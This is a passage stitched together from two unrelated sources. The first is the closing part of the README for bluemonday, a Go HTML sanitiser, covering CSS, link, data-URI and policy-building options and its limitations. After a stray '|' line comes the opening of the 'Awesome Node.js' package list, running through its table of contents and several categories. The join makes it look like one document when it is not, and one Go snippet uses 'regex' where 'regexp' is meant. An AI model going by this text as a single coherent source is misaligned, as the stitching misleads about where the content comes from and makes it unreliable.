p.AllowStyles("color").Matching(regexp.MustCompile("(?i)^#([0-9a-f]{3,4}|[0-9a-f]{6}|[0-9a-f]{8})$")).Globally()
```
Additionally, you can allow a CSS property to be set only to an allowed value:
```go
p.AllowAttrs("style").OnElements("span", "p")
// Allow the 'text-decoration' property to be set to 'underline', 'line-through' or 'none'
// on 'span' elements only
p.AllowStyles("text-decoration").MatchingEnum("underline", "line-through", "none").OnElements("span")
```
Or you can specify elements based on a regex pattern match:
```go
p.AllowAttrs("style").OnElementsMatching(regex.MustCompile(`^my-element-`))
// Allow the 'text-decoration' property to be set to 'underline', 'line-through' or 'none'
// on 'span' elements only
p.AllowStyles("text-decoration").MatchingEnum("underline", "line-through", "none").OnElementsMatching(regex.MustCompile(`^my-element-`))
```
If you need more specific checking, you can create a handler that takes in a string and returns a bool to
validate the values for a given property. The string parameter has been
converted to lowercase and unicode code points have been converted.
```go
myHandler := func(value string) bool{
// Validate your input here
return true
}
p.AllowAttrs("style").OnElements("span", "p")
// Allow the 'color' property with values validated by the handler (on any element allowed a 'style' attribute)
p.AllowStyles("color").MatchingHandler(myHandler).Globally()
```
### Links
Links are difficult beasts to sanitise safely and also one of the biggest attack vectors for malicious content.
It is possible to do this:
```go
p.AllowAttrs("href").Matching(regexp.MustCompile(`(?i)mailto|https?`)).OnElements("a")
```
But that will not protect you as the regular expression is insufficient in this case to have prevented a malformed value doing something unexpected.
We provide some additional global options for safely working with links.
`RequireParseableURLs` will ensure that URLs are parseable by Go's `net/url` package:
```go
p.RequireParseableURLs(true)
```
If you have enabled parseable URLs then the following option will `AllowRelativeURLs`. By default this is disabled (bluemonday is an allowlist tool... you need to explicitly tell us to permit things) and when disabled it will prevent all local and scheme relative URLs (i.e. `href="localpage.html"`, `href="../home.html"` and even `href="//www.google.com"` are relative):
```go
p.AllowRelativeURLs(true)
```
If you have enabled parseable URLs then you can allow the schemes (commonly called protocol when thinking of `http` and `https`) that are permitted. Bear in mind that allowing relative URLs in the above option will allow for a blank scheme:
```go
p.AllowURLSchemes("mailto", "http", "https")
```
Regardless of whether you have enabled parseable URLs, you can force all URLs to have a rel="nofollow" attribute. This will be added if it does not exist, but only when the `href` is valid:
```go
// This applies to "a" "area" "link" elements that have a "href" attribute
p.RequireNoFollowOnLinks(true)
```
Similarly, you can force all URLs to have "noreferrer" in their rel attribute.
```go
// This applies to "a" "area" "link" elements that have a "href" attribute
p.RequireNoReferrerOnLinks(true)
```
We provide a convenience method that applies all of the above, but you will still need to allow the linkable elements for the URL rules to be applied to:
```go
p.AllowStandardURLs()
p.AllowAttrs("cite").OnElements("blockquote", "q")
p.AllowAttrs("href").OnElements("a", "area")
p.AllowAttrs("src").OnElements("img")
```
An additional complexity regarding links is the data URI as defined in [RFC2397](http://tools.ietf.org/html/rfc2397). The data URI allows for images to be served inline using this format:
```html
<img src="data:image/webp;base64,UklGRh4AAABXRUJQVlA4TBEAAAAvAAAAAAfQ//73v/+BiOh/AAA=">
```
We have provided a helper to verify the mimetype followed by base64 content of data URIs links:
```go
p.AllowDataURIImages()
```
That helper will enable GIF, JPEG, PNG and WEBP images.
It should be noted that there is a potential [security](http://palizine.plynt.com/issues/2010Oct/bypass-xss-filters/) [risk](https://capec.mitre.org/data/definitions/244.html) with the use of data URI links. You should only enable data URI links if you already trust the content.
We also have some features to help deal with user generated content:
```go
p.AddTargetBlankToFullyQualifiedLinks(true)
```
This will ensure that anchor `<a href="" />` links that are fully qualified (the href destination includes a host name) will get `target="_blank"` added to them.
Additionally any link that has `target="_blank"` after the policy has been applied will also have the `rel` attribute adjusted to add `noopener`. This means a link may start like `<a href="//host/path"/>` and will end up as `<a href="//host/path" rel="noopener" target="_blank">`. It is important to note that the addition of `noopener` is a security feature and not an issue. There is an unfortunate feature to browsers that a browser window opened as a result of `target="_blank"` can still control the opener (your web page) and this protects against that. The background to this can be found here: [https://dev.to/ben/the-targetblank-vulnerability-by-example](https://dev.to/ben/the-targetblank-vulnerability-by-example)
### Policy Building Helpers
We also bundle some helpers to simplify policy building:
```go
// Permits the "dir", "id", "lang", "title" attributes globally
p.AllowStandardAttributes()
// Permits the "img" element and its standard attributes
p.AllowImages()
// Permits ordered and unordered lists, and also definition lists
p.AllowLists()
// Permits HTML tables and all applicable elements and non-styling attributes
p.AllowTables()
```
### Invalid Instructions
The following are invalid:
```go
// This does not say where the attributes are allowed, you need to add
// .Globally() or .OnElements(...)
// This will be ignored without error.
p.AllowAttrs("value")
// This does not say where the attributes are allowed, you need to add
// .Globally() or .OnElements(...)
// This will be ignored without error.
p.AllowAttrs(
"type",
).Matching(
regexp.MustCompile("(?i)^(circle|disc|square|a|A|i|I|1)$"),
)
```
Both examples exhibit the same issue, they declare attributes but do not then specify whether they are allowed globally or only on specific elements (and which elements). Attributes belong to one or more elements, and the policy needs to declare this.
## Limitations
We are not yet including any tools to help allow and sanitize CSS. Which means that unless you wish to do the heavy lifting in a single regular expression (inadvisable), **you should not allow the "style" attribute anywhere**.
In the same theme, both `<script>` and `<style>` are considered harmful. These elements (and their content) will not be rendered by default, and require you to explicitly set `p.AllowUnsafe(true)`. You should be aware that allowing these elements defeats the purpose of using a HTML sanitizer as you would be explicitly allowing either JavaScript (and any plainly written XSS) and CSS (which can modify a DOM to insert JS), and additionally but limitations in this library mean it is not aware of whether HTML is validly structured and that can allow these elements to bypass some of the safety mechanisms built into the [WhatWG HTML parser standard](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inselect).
It is not the job of bluemonday to fix your bad HTML, it is merely the job of bluemonday to prevent malicious HTML getting through. If you have mismatched HTML elements, or non-conforming nesting of elements, those will remain. But if you have well-structured HTML bluemonday will not break it.
## TODO
* Investigate whether devs want to blacklist elements and attributes. This would allow devs to take an existing policy (such as the `bluemonday.UGCPolicy()` ) that encapsulates 90% of what they're looking for but does more than they need, and to remove the extra things they do not want to make it 100% what they want
* Investigate whether devs want a validating HTML mode, in which the HTML elements are not just transformed into a balanced tree (every start tag has a closing tag at the correct depth) but also that elements and character data appear only in their allowed context (i.e. that a `table` element isn't a descendent of a `caption`, that `colgroup`, `thead`, `tbody`, `tfoot` and `tr` are permitted, and that character data is not permitted)
## Development
If you have cloned this repo you will probably need the dependency:
`go get golang.org/x/net/html`
Gophers can use their familiar tools:
`go build`
`go test`
I personally use a Makefile as it spares typing the same args over and over whilst providing consistency for those of us who jump from language to language and enjoy just typing `make` in a project directory and watch magic happen.
`make` will build, vet, test and install the library.
`make clean` will remove the library from a *single* `${GOPATH}/pkg` directory tree
`make test` will run the tests
`make cover` will run the tests and *open a browser window* with the coverage report
`make lint` will run golint (install via `go get github.com/golang/lint/golint`)
## Long term goals
1. Open the code to adversarial peer review similar to the [Attack Review Ground Rules](https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewGroundRules)
1. Raise funds and pay for an external security review
|
<div align="center">
<div>
<img width="500" src="media/logo.svg" alt="Awesome Node.js">
</div>
<br>
<p>
<p>
<sup>
<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>
</sup>
</p>
<sup>Special thanks to:</sup>
<br>
<br>
<a href="https://standardresume.co/tech">
<img src="https://sindresorhus.com/assets/thanks/standard-resume-logo.svg" width="160"/>
</a>
<br>
<br>
<a href="https://retool.com/?utm_campaign=sindresorhus">
<img src="https://sindresorhus.com/assets/thanks/retool-logo.svg" width="210"/>
</a>
<br>
<br>
<a href="https://doppler.com/?utm_campaign=github_repo&utm_medium=referral&utm_content=awesome-node&utm_source=github">
<div>
<img src="https://dashboard.doppler.com/imgs/logo-long.svg" width="240" alt="Doppler">
</div>
<b>All your environment variables, in one place</b>
<div>
<sub>Stop struggling with scattered API keys, hacking together home-brewed tools,</sub>
<br>
<sup>and avoiding access controls. Keep your team and servers in sync with Doppler.</sup>
</div>
</a>
</p>
<br>
<br>
<br>
<h3>
<a href="https://blog.sindresorhus.com/get-ready-for-esm-aa53530b3f77">Node.js package maintainers → Get ready for ESM!</a>
</h3>
<br>
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<a href="https://awesome.re">
<img src="https://awesome.re/badge-flat2.svg" alt="Awesome">
</a>
<p>
<sub>Just type <a href="https://node.cool"><code>node.cool</code></a> to go here. Follow me on <a href="https://twitter.com/sindresorhus">Twitter</a>.</sub>
</p>
<br>
<p>
<a href="https://en.wikipedia.org/wiki/Node.js">Node.js</a> is an open-source, cross-platform, JavaScript runtime for writing servers and command-line tools.
</p>
<br>
</div>
**You can now [discuss Node.js and ask questions](https://github.com/sindresorhus/awesome-nodejs/discussions) right in this repo.**
## Contents
- [Official](#official)
- [Packages](#packages)
- [Mad science](#mad-science)
- [Command-line apps](#command-line-apps)
- [Functional programming](#functional-programming)
- [HTTP](#http)
- [Debugging / Profiling](#debugging--profiling)
- [Logging](#logging)
- [Command-line utilities](#command-line-utilities)
- [Build tools](#build-tools)
- [Hardware](#hardware)
- [Templating](#templating)
- [Web frameworks](#web-frameworks)
- [Documentation](#documentation)
- [Filesystem](#filesystem)
- [Control flow](#control-flow)
- [Streams](#streams)
- [Real-time](#real-time)
- [Image](#image)
- [Text](#text)
- [Number](#number)
- [Math](#math)
- [Date](#date)
- [URL](#url)
- [Data validation](#data-validation)
- [Parsing](#parsing)
- [Humanize](#humanize)
- [Compression](#compression)
- [Network](#network)
- [Database](#database)
- [Testing](#testing)
- [Security](#security)
- [Benchmarking](#benchmarking)
- [Minifiers](#minifiers)
- [Authentication](#authentication)
- [Authorization](#authorization)
- [Email](#email)
- [Job queues](#job-queues)
- [Node.js management](#nodejs-management)
- [Natural language processing](#natural-language-processing)
- [Process management](#process-management)
- [Automation](#automation)
- [AST](#ast)
- [Static site generators](#static-site-generators)
- [Content management systems](#content-management-systems)
- [Forum](#forum)
- [Blogging](#blogging)
- [Weird](#weird)
- [Serialization](#serialization)
- [Miscellaneous](#miscellaneous)
- [Resources](#resources)
- [Tutorials](#tutorials)
- [Discovery](#discovery)
- [Articles](#articles)
- [Newsletters](#newsletters)
- [Videos](#videos)
- [Books](#books)
- [Blogs](#blogs)
- [Courses](#courses)
- [Cheatsheets](#cheatsheets)
- [Tools](#tools)
- [Community](#community)
- [Miscellaneous](#miscellaneous-1)
- [Related lists](#related-lists)
## Official
- [Website](https://nodejs.org)
- [Documentation](https://nodejs.org/dist/latest/docs/api/)
- [Repository](https://github.com/nodejs/node)
## Packages
### Mad science
- [webtorrent](https://github.com/feross/webtorrent) - Streaming torrent client for Node.js and the browser.
- [peerflix](https://github.com/mafintosh/peerflix) - Streaming torrent client.
- [dat](https://github.com/datproject/dat-node) - Real-time replication and versioning for data sets.
- [ipfs](https://github.com/ipfs/js-ipfs) - Distributed file system that seeks to connect all computing devices with the same system of files.
- [stackgl](https://github.com/stackgl) - Open software ecosystem for WebGL, built on top of browserify and npm.
- [peerwiki](https://github.com/mafintosh/peerwiki) - All of Wikipedia on BitTorrent.
- [peercast](https://github.com/mafintosh/peercast) - Stream a torrent video to Chromecast.
- [BitcoinJS](https://github.com/bitcoinjs/bitcoinjs-lib) - Clean, readable, proven Bitcoin library.
- [Bitcore](https://github.com/bitpay/bitcore) - Pure and powerful Bitcoin library.
- [PDFKit](https://github.com/devongovett/pdfkit) - PDF generation library.
- [turf](https://github.com/Turfjs/turf) - Modular geospatial processing and analysis engine.
- [webcat](https://github.com/mafintosh/webcat) - p2p pipe across the web using WebRTC that uses your GitHub private/public key for authentication.
- [NodeOS](https://github.com/NodeOS/NodeOS) - The first operating system powered by npm.
- [YodaOS](https://github.com/yodaos-project/yodaos) - AI operating system.
- [Brain.js](https://github.com/BrainJS/brain.js) - Machine-learning framework.
- [Pipcook](https://github.com/alibaba/pipcook) - Front-end algorithm framework to create a machine learning pipeline.
- [Cytoscape.js](https://github.com/cytoscape/cytoscape.js) - Graph theory (a.k.a. network) modeling and analysis.
- [Kadence](https://gitlab.com/deadcanaries/kadence) - Kademlia distributed hash table.
- [seedshot](https://github.com/twobucks/seedshot) - Temporary P2P screenshot sharing from your browser.
- [js-git](https://github.com/creationix/js-git) - JavaScript implementation of Git.
- [skale](https://github.com/skale-me/skale-engine) - High performance distributed data processing engine.
- [xlsx](https://github.com/sheetjs/js-xlsx) - Pure JS Excel spreadsheet reader and writer.
- [isomorphic-git](https://github.com/isomorphic-git/isomorphic-git) - Pure JavaScript implementation of Git.
### Command-line apps
- [np](https://github.com/sindresorhus/np) - Better `npm publish`.
- [npm-name](https://github.com/sindresorhus/npm-name) - Check a package name's availability on npm.
- [gh-home](https://github.com/sindresorhus/gh-home) - Open the GitHub page of the repo in the current directory.
- [npm-home](https://github.com/sindresorhus/npm-home) - Open the npm page of a package.
- [trash](https://github.com/sindresorhus/trash) - Safer alternative to `rm`.
- [speed-test](https://github.com/sindresorhus/speed-test) - Test your internet connection speed and ping.
- [emoj](https://github.com/sindresorhus/emoj) - Find relevant emoji from text on the command-line.
- [pageres](https://github.com/sindresorhus/pageres) - Capture website screenshots.
- [cpy](https://github.com/sindresorhus/cpy) - Copy files.
- [vtop](https://github.com/MrRio/vtop) - More better top, with nice charts.
- [empty-trash](https://github.com/sindresorhus/empty-trash) - Empty the trash.
- [is-up](https://github.com/sindresorhus/is-up) - Check whether a website is up or down.
- [is-online](https://github.com/sindresorhus/is-online) - Check if the internet connection is up.
- [public-ip](https://github.com/sindresorhus/public-ip) - Get your public IP address.
- [clipboard-cli](https://github.com/sindresorhus/clipboard-cli) - Copy & paste on the terminal.
- [XO](https://github.com/xojs/xo) - Enforce strict code style using the JavaScript happiness style.
- [Standard](https://github.com/feross/standard) - JavaScript Standard Style — One style to rule them all.
- [ESLint](https://github.com/eslint/eslint) - The pluggable linting utility for JavaScript.
- [dev-time](https://github.com/samverschueren/dev-time-cli) - Get the current local time of a GitHub user.
- [David](https://github.com/alanshaw/david) - Tells you when your package npm dependencies are out of date.
- [http-server](https://github.com/indexzero/http-server) - Simple, zero-config command-line HTTP server.
- [Live Server](https://github.com/tapio/live-server) - Development HTTP-server with livereload capability.
- [bcat](https://github.com/kessler/node-bcat) - Pipe command output to web browsers.
- [normit](https://github.com/pawurb/normit) - Google Translate with speech synthesis in your terminal.
- [fkill](https://github.com/sindresorhus/fkill-cli) - Fabulously kill processes. Cross-platform.
- [pjs](https://github.com/danielstjules/pjs) - Pipeable JavaScript. Quickly filter, map, and reduce from the terminal.
- [license-checker](https://github.com/davglass/license-checker) - Check licenses of your app's dependencies.
- [browser-run](https://github.com/juliangruber/browser-run) - Easily run code in a browser environment.
- [tmpin](https://github.com/sindresorhus/tmpin) - Adds stdin support to any CLI app that accepts file input.
- [wifi-password](https://github.com/kevva/wifi-password-cli) - Get the current wifi password.
- [wallpaper](https://github.com/sindresorhus/wallpaper) - Change the desktop wallpaper.
- [brightness](https://github.com/kevva/brightness-cli) - Change the screen brightness.
- [torrent](https://github.com/maxogden/torrent) - Download torrents.
- [kill-tabs](https://github.com/sindresorhus/kill-tabs) - Kill all Chrome tabs to improve performance, decrease battery usage, and save memory.
- [alex](https://github.com/wooorm/alex) - Catch insensitive, inconsiderate writing.
- [pen](https://github.com/noraesae/pen) - Live Markdown preview in the browser from your favorite editor.
- [subdownloader](https://github.com/beatfreaker/subdownloader) - Subtitle downloader for movies and TV series.
- [dark-mode](https://github.com/sindresorhus/dark-mode) - Toggle the macOS Dark Mode.
- [iponmap](https://github.com/nogizhopaboroda/iponmap) - IP location finder.
- [Jsome](https://github.com/Javascipt/Jsome) - Pretty prints JSON with configurable colors and indentation.
- [itunes-remote](https://github.com/mischah/itunes-remote) - Interactively control iTunes.
- [mobicon](https://github.com/samverschueren/mobicon-cli) - Mobile app icon generator.
- [mobisplash](https://github.com/samverschueren/mobisplash-cli) - Mobile app splash screen generator.
- [diff2html-cli](https://github.com/rtfpessoa/diff2html-cli) - Pretty git diff to HTML generator.
- [Cash](https://github.com/dthree/cash) - Cross-platform Unix shell commands in pure JavaScript.
- [trymodule](https://github.com/VictorBjelkholm/trymodule) - Try out npm packages in the terminal.
- [jscpd](https://github.com/kucherenko/jscpd) - Copy/paste detector for source code.
- [atmo](https://github.com/Raathigesh/Atmo) - Server-side API mocking.
- [auto-install](https://github.com/siddharthkp/auto-install) - Auto installs dependencies as you code.
- [lessmd](https://github.com/linuxenko/lessmd) - Markdown in the terminal.
- [cost-of-modules](https://github.com/siddharthkp/cost-of-modules) - Find out which dependencies are slowing you down.
- [localtunnel](https://github.com/localtunnel/localtunnel) - Expose your localhost to the world.
- [svg-term-cli](https://github.com/marionebl/svg-term-cli) - Share terminal sessions via SVG.
- [gtop](https://github.com/aksakalli/gtop) - System monitoring dashboard for the terminal.
- [themer](https://github.com/mjswensen/themer) - Generate themes for your editor, terminal, wallpaper, Slack, and more.
- [carbon-now-cli](https://github.com/mixn/carbon-now-cli) - Beautiful images of your code — from right inside your terminal.
- [cash-cli](https://github.com/xxczaki/cash-cli) - Convert between 170 currencies.
- [taskbook](https://github.com/klauscfhq/taskbook) - Tasks, boards & notes for the command-line habitat.
- [discharge](https://github.com/brandonweiss/discharge) - Easily deploy static websites to Amazon S3.
- [npkill](https://github.com/voidcosmos/npkill) - Easily find and remove old and heavy node_modules folders.
### Functional programming
- [lodash](https://github.com/lodash/lodash) - Utility library delivering consistency, customization, performance, & extras. A better and faster Underscore.js.
- [immutable](https://github.com/facebook/immutable-js) - Immutable data collections.
- [Ramda](https://github.com/ramda/ramda) - Utility library with a focus on flexible functional composition enabled by automatic currying and reversed argument order. Avoids mutating data.
- [Folktale](https://github.com/origamitower/folktale) - Suite of libraries for generic functional programming in JavaScript that allows you to write elegant, modular applications with fewer bugs, and more reuse.
- [Mout](https://github.com/mout/mout) - Utility library with the biggest difference between other existing solutions is that you can choose to load only the modules/functions that you need, no extra overhead.
- [Bacon.js](https://github.com/baconjs/bacon.js) - Functional reactive programming.
- [RxJS](https://github.com/reactivex/rxjs) - Functional reactive library for transforming, composing, and querying various kinds of data.
- [Lazy.js](https://github.com/dtao/lazy.js) - Utility library similar to lodash/Underscore but with lazy evaluation, which can translate to superior performance in many cases.
- [Kefir.js](https://github.com/kefirjs/kefir) - Reactive library with focus on high performance and low memory usage.
### HTTP
- [got](https://github.com/sindresorhus/got) - Nicer interface to the built-in `http` module.
- [gh-got](https://github.com/sindresorhus/gh-got) - Convenience wrapper for `got` to interact with the GitHub API.
- [axios](https://github.com/mzabriskie/axios) - Promise based HTTP client (works in the browser too).
- [wreck](https://github.com/hapijs/wreck) - HTTP Client Utilities.
- [download](https://github.com/kevva/download) - Download and extract files effortlessly.
- [http-proxy](https://github.com/nodejitsu/node-http-proxy) - HTTP proxy.
- [superagent](https://github.com/visionmedia/superagent) - HTTP request library.
- [node-fetch](https://github.com/bitinn/node-fetch) - `window.fetch` for Node.js.
- [flashheart](https://github.com/bbc/flashheart) - REST client.
- [http-fake-backend](https://github.com/micromata/http-fake-backend) - Build a fake backend by providing the content of JSON files or JavaScript objects through configurable routes.
- [cacheable-request](https://github.com/lukechilds/cacheable-request) - Wrap native HTTP requests with RFC compliant cache support.
- [gotql](https://github.com/khaosdoctor/gotql) - GraphQL request library built on [got](https://github.com/sindresorhus/got).
- [global-agent](https://github.com/gajus/global-agent) - Global HTTP/HTTPS proxy agent that is configurable using environment variables.
- [smoke](https://github.com/sinedied/smoke) - File-based HTTP mock server with recording abilities.
### Debugging / Profiling
- [ndb](https://github.com/GoogleChromeLabs/ndb) - Improved debugging experience, enabled by Chrome DevTools.
- [ironNode](https://github.com/s-a/iron-node) - Node.js debugger supporting ES2015 out of the box.
- [node-inspector](https://github.com/node-inspector/node-inspector) - Debugger based on Blink Developer Tools.
- [debug](https://github.com/visionmedia/debug) - Tiny debugging utility.
- [why-is-node-running](https://github.com/mafintosh/why-is-node-running) - Node.js is running but you don't know why?
- [njsTrace](https://github.com/valyouw/njstrace) - Instrument and trace your code, see all function calls, arguments, return values, as well as the time spent in each function.
- [vstream](https://github.com/joyent/node-vstream) - Instrumentable streams mix-ins to inspect a pipeline of streams.
- [stackman](https://github.com/watson/stackman) - Enhance an error stacktrace with code excerpts and other goodies.
- [locus](https://github.com/alidavut/locus) - Starts a REPL at runtime that has access to all variables.
- [0x](https://github.com/davidmarkclements/0x) - Flamegraph profiling.
- [ctrace](https://github.com/automation-stack/ctrace) - Well-formatted and improved trace system calls and signals.
- [leakage](https://github.com/andywer/leakage) - Write memory leak tests.
- [llnode](https://github.com/nodejs/llnode) - Post-mortem analysis tool which allows you to inspect objects and get insights from a crashed Node.js process.
- [thetool](https://github.com/sfninja/thetool) - Capture different CPU, memory, and other profiles for your app in Chrome DevTools friendly format.
- [swagger-stats](https://github.com/slanatech/swagger-stats) - Trace API calls and monitor API performance, health, and usage metrics.
- [NiM](https://github.com/june07/nim) - Manages DevTools debugging workflow.
### Logging
- [pino](https://github.com/pinojs/pino) - Extremely fast logger inspired by Bunyan.
- [winston](https://github.com/winstonjs/winston) - Multi-transport async logging library.
- [console-log-level](https://github.com/watson/console-log-level) - The most simple logger imaginable with support for log levels and custom prefixes.
- [storyboard](https://github.com/guigrpa/storyboard) - End-to-end, hierarchical, real-time, colorful logs and stories.
- [signale](https://github.com/klauscfhq/signale) - Console logger.
- [consola](https://github.com/nuxt/consola) - Console logger.
### Command-line utilities
- [chalk](https://github.com/chalk/chalk) - Terminal string styling done right.
- [meow](https://github.com/sindresorhus/meow) - CLI app helper.
- [yargs](https://github.com/yargs/yargs) - Command-line parser that automatically generates an elegant user-interface.
- [ora](https://github.com/sindresorhus/ora) - Elegant terminal spinner.
- [get-stdin](https://github.com/sindresorhus/get-stdin) - Easier stdin.
- [log-update](https://github.com/sindresorhus/log-update) - Log by overwriting the previous output in the terminal. Useful for rendering progress bars, animations, etc.
- [Ink](https://github.com/vadimdemedes/ink) - React for interactive command-line apps.
- [listr](https://github.com/samverschueren/listr) - Terminal task list.
- [conf](https://github.com/sindresorhus/conf) - Simple config handling for your app or module.
- [ansi-escapes](https://github.com/sindresorhus/ansi-escapes) - ANSI escape codes for manipulating the terminal.
- [log-symbols](https://github.com/sindresorhus/log-symbols) - Colored symbols for various log levels.
- [figures](https://github.com/sindresorhus/figures) - Unicode symbols with Windows CMD fallbacks.
- [boxen](https://github.com/sindresorhus/boxen) - Create boxes in the terminal.
- [terminal-link](https://github.com/sindresorhus/terminal-link) - Create clickable links in the terminal.
- [terminal-image](https://github.com/sindresorhus/terminal-image) - Display images in the terminal.
- [string-width](https://github.com/sindresorhus/string-width) - Get the visual width of a string - the number of columns required to display it.
- [cli-truncate](https://github.com/sindresorhus/cli-truncate) - Truncate a string to a specific width in the terminal.
- [first-run](https://github.com/sindresorhus/first-run) - Check if it's the first time the process is run.
- [blessed](https://github.com/chjj/blessed) - Curses-like library.
- [Inquirer.js](https://github.com/SBoudrias/Inquirer.js) - Interactive command-line prompt.
- [yn](https://github.com/sindresorhus/yn) - Parse yes/no like values.
- [cli-table3](https://github.com/cli-table/cli-table3) - Pretty unicode tables.
- [drawille](https://github.com/madbence/node-drawille) - Draw on the terminal with unicode braille characters.
- [update-notifier](https://github.com/yeoman/update-notifier) - Update notifications for your CLI app.
- [ascii-charts](https://github.com/jstrace/chart) - ASCII bar chart in the terminal.
- [progress](https://github.com/tj/node-progress) - Flexible ascii progress bar.
- [insight](https://github.com/yeoman/insight) - Helps you understand how your tool is being used by anonymously reporting usage metrics to Google Analytics.
- [cli-cursor](https://github.com/sindresorhus/cli-cursor) - Toggle the CLI cursor.
- [columnify](https://github.com/timoxley/columnify) - Create text-based columns suitable for console output. Supports cell wrapping.
- [cli-columns](https://github.com/shannonmoeller/cli-columns) - Columnated unicode and ansi-safe text lists.
- [cfonts](https://github.com/dominikwilkowski/cfonts) - Sexy ASCII fonts for the console.
- [multispinner](https://github.com/codekirei/node-multispinner) - Multiple, simultaneous, individually controllable CLI spinners.
- [omelette](https://github.com/f/omelette) - Shell autocompletion helper.
- [cross-env](https://github.com/kentcdodds/cross-env) - Set environment variables cross-platform.
- [shelljs](https://github.com/shelljs/shelljs) - Portable Unix shell commands.
- [sudo-block](https://github.com/sindresorhus/sudo-block) - Block users from running your app with root permissions.
- [loud-rejection](https://github.com/sindresorhus/loud-rejection) - Make unhandled promise rejections fail loudly instead of the default silent fail.
- [sparkly](https://github.com/sindresorhus/sparkly) - Generate sparklines `▁▂▃▅▂▇`.
- [Bit](https://github.com/teambit/bit) - Create, maintain, find and use small modules and components across repositories.
- [gradient-string](https://github.com/bokub/gradient-string) - Beautiful color gradients in terminal output.
- [oclif](https://github.com/oclif/oclif) - CLI framework complete with parser, automatic documentation, testing, and plugins.
- [term-size](https://github.com/sindresorhus/term-size) - Reliably get the terminal window size.
- [Cliffy](https://github.com/drew-y/cliffy) - Framework for interactive CLIs.
### Build tools
- [parcel](https://github.com/parcel-bundler/parcel) - Blazing fast, zero config web app bundler.
- [webpack](https://github.com/webpack/webpack) - Packs modules and assets for the browser.
- [rollup](https://github.com/rollup/rollup) - Next-generation ES2015 module bundler.
- [gulp](https://github.com/gulpjs/gulp) - Streaming and fast build system that favors code over config.
- [Broccoli](https://github.com/broccolijs/broccoli) - Fast, reliable asset pipeline, supporting constant-time rebuilds and compact build definitions.
- [Brunch](https://github.com/brunch/brunch) - Front-end web app build tool with simple declarative config, fast incremental compilation, and an opinionated workflow.
- [Start](https://github.com/deepsweet/start) - Functional task runner with shareable presets.
- [ygor](https://github.com/shannonmoeller/ygor) - Promising task runner for when `npm run` isn't enough and everything else is too much.
- [FuseBox](https://github.com/fuse-box/fuse-box) - Fast build system that combines the power of webpack, JSPM and SystemJS, with first-class TypeScript support.
- [pkg](https://github.com/zeit/pkg) - Package your Node.js project into an executable.
### Hardware
- [johnny-five](https://github.com/rwaldron/johnny-five) - Firmata based Arduino Framework.
- [serialport](https://github.com/voodootikigod/node-serialport) - Access serial ports for reading and writing.
- [usb](https://github.com/nonolith/node-usb) - USB library.
- [i2c-bus](https://github.com/fivdi/i2c-bus) - I2C serial bus access.
- [onoff](https://github.com/fivdi/onoff) - GPIO access and interrupt detection.
- [spi-device](https://github.com/fivdi/spi-device) - SPI serial bus access.
- [pigpio](https://github.com/fivdi/pigpio) - Fast GPIO, PWM, servo control, state change notification, and interrupt handling on the Raspberry Pi.
- [gps](https://github.com/infusion/GPS.js) - NMEA parser for handling GPS receivers.
### Templating
- [marko](https://github.com/marko-js/marko) - HTML-based templating engine that compiles templates to CommonJS modules and supports streaming, async rendering and custom tags.
- [nunjucks](https://github.com/mozilla/nunjucks) - Templating engine with inheritance, asynchronous control, and more (jinja2 inspired).
- [handlebars.js](https://github.com/wycats/handlebars.js) - Superset of Mustache templates which adds powerful features like helpers and more advanced blocks.
- [EJS](https://github.com/mde/ejs) - Simple unopinionated templating language.
- [Pug](https://github.com/pugjs/pug) - High-performance template engine heavily influenced by Haml.
### Web frameworks
- [Hapi](https://github.com/hapijs/hapi) - Framework for building applications and services.
- [Koa](https://github.com/koajs/koa) - Framework designed by the team behind Express, which aims to be a smaller, more expressive, and more robust foundation for web applications and APIs.
- [Express](https://github.com/expressjs/express) - Web application framework, providing a robust set of features for building single and multi-page, and hybrid web applications.
- [Feathers](https://github.com/feathersjs/feathers) - Microservice framework built in the spirit of Express.
- [LoopBack](https://github.com/strongloop/loopback) - Powerful framework for creating REST APIs and easily connecting to backend data sources.
- [Meteor](https://github.com/meteor/meteor) - An ultra-simple, database-everywhere, data-on-the-wire, pure-Javascript web framework. *(You might like [awesome-meteor](https://github.com/Urigo/awesome-meteor))*
- [Restify](https://github.com/restify/node-restify) - Enables you to build correct REST web services.
- [ThinkJS](https://github.com/thinkjs/thinkjs) - Framework with ES2015+ support, WebSockets, REST API.
- [ActionHero](https://github.com/actionhero/actionhero) - Framework for making reusable & scalable APIs for TCP sockets, WebSockets, and HTTP clients.
- [Next.js](https://github.com/zeit/next.js) - Minimalistic framework for server-rendered universal JavaScript web apps.
- [Nuxt.js](https://github.com/nuxt/nuxt.js) - Minimalistic framework for server-rendered Vue.js apps.
- [seneca](https://github.com/senecajs/seneca) - Toolkit for writing microservices.
- [AdonisJs](http://adonisjs.com) - A true MVC framework for Node.js built on solid foundations of Dependency Injection and IoC container.
- [Hemera](https://github.com/hemerajs/hemera) - Write reliable and fault-tolerant microservices with [NATS](https://nats.io).
- [Micro](https://github.com/zeit/micro) - Minimalistic microservice framework with an async approach.
- [Moleculer](https://moleculer.services) - Fast & powerful microservices framework.
- [Fastify](https://github.com/fastify/fastify) - Fast and low overhead web framework.
- [Nest](https://github.com/nestjs/nest) - Angular-inspired framework for building efficient and scalable server-side apps.
- [Zeronode](https://github.com/sfast/zeronode) - Minimal building block for reliable and fault-tolerant microservices.
- [TypeGraphQL](https://github.com/19majkel94/type-graphql) - Modern framework for creating GraphQL APIs with TypeScript, using classes and decorators.
- [Tinyhttp](https://github.com/talentlessguy/tinyhttp) - Modern and fast Express-like web framework.
- [Marble.js](https://github.com/marblejs/marble) - Functional reactive framework for building server-side apps, based on TypeScript and RxJS.
### Documentation
- [documentation.js](https://github.com/documentationjs/documentation) - API documentation generator with support for ES2015+ and flow annotation.
- [ESDoc](https://github.com/esdoc/esdoc) - Documentation generator targeting ES2015, attaching test code and measuring documentation coverage.
- [Docco](https://github.com/jashkenas/docco) - Documentation generator which produces an HTML document that displays your comments intermingled with your code.
- [JSDoc](https://github.com/jsdoc3/jsdoc) - API documentation generator similar to JavaDoc or PHPDoc.
- [Docusaurus](https://github.com/facebook/docusaurus) - Documentation website generator that leverages React and Markdown, and comes with translation and versioning features.
### Filesystem
- [del](https://github.com/sindresorhus/del) - Delete files/folders using globs.
- [globby](https://github.com/sindresorhus/globby) - Glob files with support for multiple patterns.
- [cpy](https://github.com/sindresorhus/cpy) - Copy files.
- [rimraf](https://github.com/isaacs/rimraf) - Recursively delete files like `rm -rf`.
